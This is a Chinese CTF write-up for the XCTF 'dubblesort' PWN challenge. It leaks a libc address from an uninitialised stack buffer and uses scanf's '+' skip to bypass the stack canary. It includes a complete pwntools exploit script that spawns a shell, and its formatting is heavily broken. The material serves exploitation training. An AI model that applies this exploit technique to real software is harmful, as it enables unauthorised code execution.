攻防世界PWN之dubblesort題解

2021-09-29 18:01:03 字數 4120 閱讀 4602

首先看一下程式的保護機制

保護全開,並且是乙個32位程式

然後,我們用ida分析一下

這裡,有兩個漏洞

第乙個是在呼叫read之前,沒有呼叫memset

buf清空,因此,

buf裡可能之前會有一些殘留的關鍵資料

第二個是,輸入的整數個數沒有上限,可以造成資料溢位,其實也就是棧溢位。

我們read斷點,然後觀察棧中的資料,發現資料還未輸入時,棧裡就有一些關鍵資料

我們可以輸入7 * 4 = 28個字元,然後

printf時,就會把接下來的資料列印出來,直到遇

洩露這個資料後(當前為0xf7797244),然後我們找到libc的基位址,當前為0xf75e9000

然後我,我們算的它們之間的偏移

off = 0xf7797244 - 0xf75e9000 = 0x1ae244

於是,我們就這樣洩露libc位址

#洩露位址並計算出

libc

的位址payload = 

'a'*0x1c  

sh.sendafter(

'name :'

,payload)  

sh.recvuntil(payload)  #計算

libc

載入位址

libc_base = u32(sh.recv(4)) - off  

system_addr = libc_base + libc.sym[

'system'

]  binsh_addr = libc_base + libc.search(

'/bin/sh'

).next()  

接下來,我們來做乙個實驗,讓我們先拋開本題,來看看這樣的**

#include 

intmain()   

}  

然後,我們發現,當我們輸入

+

-符號,

scanf就直接跳過了對

a的輸入

經過測試,%u

%x

%d等都有這種特性

然後,我們繼續分析此題,

我們接下來會輸入n個整數,存入v13的空間處,而v13在ebp-0x70處,v15存的是canary的值,它位於ebp-0x10處,我們不能把canary的值給改了,我們需要保留它,因此,我們先輸入

(0x70-0x10)/4 = 24個整數,然後接下來輸入

+

-號,跳過當前輸入,然後我們到達ebp-0xc處,距離返回位址ebp+0x4還差0x10/4=4個,因此,我們繼續輸入4個整數,接下來,我們再輸入rop即可

注意,本題ida分析出來的位置相對於ebp不准,但是各個變數之間的相對關係還是準的

實際,距離返回位址

ebp+0x4還差

7個,除錯除錯就知道了

由於,我們輸入的資料會做一遍公升序排序,所以,為了保留我們輸入的順序,我們前24個資料都輸入

0,然後輸入

+

-跳過

canary,然後輸入

(7 + 1 + 1)

system的位址整數值,然後輸入乙個

binsh_addr的整數值,程式退出

main後,便執行

shell

因為system_addr總是小於binsh_addr,而這兩個位址值一般大於canary的值,canary是個隨機生成的數,如果有時不滿足這個大小關係,只需重新執行程式,多試幾次即可。

於是,我們最終的exp指令碼是這樣的

#coding:utf8

frompwnimport*  

sh = process(

'./dubblesort'

,env=)  

#sh = remote('111.198.29.45',57605)

libc = elf(

'./libc_32.so.6'

)  off = 0x1ae244  

#洩露位址並計算出

libc

的位址payload = 

'a'*0x1c  

sh.sendafter(

'name :'

,payload)  

sh.recvuntil(payload)  #計算

libc

載入位址

libc_base = u32(sh.recv(4)) - off  

system_addr = libc_base + libc.sym[

'system'

]  binsh_addr = libc_base + libc.search(

'/bin/sh'

).next()  

print'libc_base='

,hex(libc_base)  

print'system_addr='

,hex(system_addr)  

n = 35  

sh.sendlineafter(

'sort :'

,str(n))  

foriinrange(0,n-11):  

sh.sendlineafter(

'number :'

,str(0))  

sh.sendlineafter(

'number :'

,'+'

)foriinrange(0,9):  

sh.sendlineafter(

'number :'

,str(system_addr))  

sh.sendlineafter(

'number :'

,str(binsh_addr))  

sh.interactive()  

本題告訴我們,

用read讀取資料到緩衝區前,先對緩衝區初始化

陣列要檢查下標越界

攻防世界PWN之Welpwn題解

首先用ida檢視 發現主函式不能棧溢位,我們看看echo這個函式 echo會把主函式輸入的字串複製到區域性的s2裡,並且s2只有16位元組,可以造成溢位。echo函式先迴圈複製字元到s2,如果遇到0,就結束複製,然後輸出s2。因此,我們如果想直接覆蓋函式返回位址,那麼我們的目標函式必須沒有引數,否則...

攻防世界PWN之Nobug題解

首先,檢查一下程式的保護機制 pie和nx沒開,那麼,我們可以輕鬆的布置shellcode到棧裡或bss段或堆裡,然後跳轉。免去了洩露libc位址這些。然後,我們用ida分析一下 看似好像這裡sprintf不存在漏洞,我們再看看其他函式 看見乙個很複雜的函式,我們看看那個位址處是什麼 是查表法,看起...

攻防世界PWN之easy fmt題解

首先,檢查一下程式的保護機制 然後,我們用ida分析一下 存在乙個明顯的格式化字串漏洞,但是只能用一次,後面exit 0 會結束程式 checkin需要爆破 是乙個隨機數,且只有一位,我們直接輸入2,成功率1 10 為了不讓程式退出,多次利用printf,我們就得利用第一次的printf把exit的...